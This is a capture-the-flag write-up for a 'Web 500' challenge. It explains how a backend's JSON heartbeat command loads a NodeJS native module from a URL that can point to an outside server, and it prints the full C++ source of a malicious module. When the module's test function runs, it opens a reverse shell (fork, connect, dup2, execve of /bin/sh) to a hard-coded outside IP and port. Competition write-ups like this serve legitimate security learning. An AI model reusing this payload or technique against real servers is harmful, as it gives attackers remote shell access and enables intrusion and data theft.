Web 500 was a webpage with a small UI sending AJAX commands to a backend. These commands were either some UNIX commands (uname -a, uptime, …) or something that looked like a heartbeat check for an external service.

Our first idea was obviously to inject UNIX commands but the backend seemed to have a very restrictive whitelist, allowing only the commands that were exposed by the UI and nothing else (not even adding options to the commands worked).

The heartbeat check sent a JSON command which looked like this:

{
    "message": "extenderp",
    "extenderpurl": "http://127.0.0.1:8080/test/extenderptest.node"
}

It turns out we can download this extenderptest.node file from the web server using the same URL. It was a simple NodeJS C++ module exporting a single test function which returned a string. This lead us to think the extenderp message actually downloaded the NodeJS module from the URL and executed its test module. We checked if the extenderpurl could point to the external world, and sure enough the web server tried to download a file from our server!

The last step was then to write a NodeJS module which allowed us to get the key from the server. I choose to implement a fork/connect/dup2/execve exploit in the test function:

#include <v8.h>
#include <node.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

using namespace node;
using namespace v8;

extern "C" {
    static Handle<Value> test(const Arguments& args)
    {
        if (!fork())
        {
            int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            struct sockaddr_in connaddr;

            memset(&connaddr, 0, sizeof (connaddr));
            connaddr.sin_family = AF_INET;
            connaddr.sin_addr.s_addr = inet_addr("176.9.97.190");
            connaddr.sin_port = htons(12345);
            connect(fd, (sockaddr*)&connaddr, sizeof (connaddr));
            dup2(fd, 0);
            dup2(fd, 1);
            dup2(fd, 2);
            char* argv[] = { "/bin/sh", NULL };
            execve("/bin/sh", argv, NULL);

            exit(0);
        }

        v8::HandleScope scope;

        return v8::String::New("Connectback should have happened");
    }

    static void init(Handle<Object> target)
    {
        v8::Local<FunctionTemplate> local_function_template = v8::FunctionTemplate::New(test);
        target->Set(String::NewSymbol("test"), local_function_template->GetFunction());
    }

    NODE_MODULE(expl, init);
}

We uploaded that NodeJS module and used the extenderp command to get it to be run on the server, which worked very well! We were able to get shell access on the server and find the key for this challenge.